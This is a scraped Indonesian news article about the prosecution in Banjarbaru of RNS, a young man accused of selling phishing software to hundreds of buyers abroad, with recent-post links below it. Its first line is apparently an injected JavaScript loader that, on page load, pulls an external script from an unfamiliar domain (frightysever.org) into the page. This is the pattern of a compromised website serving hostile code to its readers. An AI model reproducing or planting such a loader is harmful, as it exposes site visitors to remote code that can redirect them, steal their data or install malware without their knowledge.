(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kasus Hacker RNS: Cuma Lulusan SMK, Kajari Banjarbaru: Bisa Dibina Melihat Potensinya


KANALKALIMANTAN.COM, BANJARBARU – Kasus penjual alat peretas akun pribadi buruan FBI dan Interpol, RNS, anak muda asal Amuntai yang kini kasusnya dilimpahkan ke Kejaksaan Negeri Banjarbaru hanya lulusan SMK di daerah asalnya.

Kejari Banjarbaru, Andri Irawan mengungkapkan kekagumannya sebab di usia 22 tahun yang hanya lulusan SMK namun sudah masuk profil yang diburu oleh FBI dan Interpol.

“Menurut saya luar biasa, di usia 22 tahun sudah masuk profil oleh FBI,” ungkapnya kepada Kanalkalimantan, Jumat (25/2/2022).

Bila dilihat dari kecanggihan teknologi yang digunakan RNS dan masih berusia muda, Andri berpendapat kalau hacker anak muda seperti RNS kalau dimanfaatkan akan lebih baik lagi.

 

 

Baca juga: Kejar Target Vaksinasi, Banjarbaru ‘Impor’ Vaksin Sinovac dari Tala

Karena adanya tindak pidana kejahatan siber, RNS akan diproses sesuai tidak pidana yang diperbuatnya, namun kedepannya apakah akan dilakukan pembimbingan dirinya mengharapkan itu. Bahkan dirinya sudah membicarakan hal tersebut ke Wali Kota Banjarbaru.

“Tindak pidana dan proses hukum yang dijalankan menjadi efek jera yang akan dikedepankan,” tegasnya.

Diungkapkan Andri ada beberapa barang bukti yang disita dari RNS, di antaranya mobil BMW beberapa motor sport, laptop dan beberapa perlengkapan yang lumayan canggih.

Dikatakan Kajari Banjarbaru, pemberkasan RNS sudah dianggap lengkap beserta barang bukti, dan dalam waktu dekat ini akan dilakukan sidang di Pengadilan Negeri Banjarbaru.

Dalam bekerja diungkapkan Andri, RNS melakukannya sendiri tanpa berkelompok, dalam menjual aplikasi alat peretas hanya mematok 70 dolar per program.

Baca juga:Ruang Publik di Martapura Bakal Dilengkapi Videotron 

“Programnya bisa dipakai untuk phising dan dijual ke banyak negara, lebih dari 400 pelanggan yang tersebar di 43 negara, di antaranya negara seperti Amerika, China, India dan Jepang ada juga dari Jerman,” sebutnya.

RNS dalam 20 hari ke depan ditahan di Rutan Banjarbaru untuk persiapan sidang di PN Banjarbaru. RNS diancam penjara maksimal hukuman 10 tahun.

“Dalam waktu dekat akan kita limpahkan ke PN Banjarbaru,” katanya.

RNS sendiri dinyatakan melanggar Pasal 50 junto Pasal 34 ayat 1 UU No 11 Tahun 2008 tentang ITE dan Pasal 3 UU No 8 Tahun 2010 tentang Pencegahan dan Pemberantasan Tindak Pidana Pencucian Uang.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

1 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

3 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

3 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

4 jam ago

Wagub Edy Pratowo Maju Pilkada Kalteng, Siap Dipasang Posisi Apapun

KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More

4 jam ago

Target Juara Umum Popda Kalsel 2024, Aditya Janji Beri Bonus Pribadi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More

5 jam ago

This website uses cookies.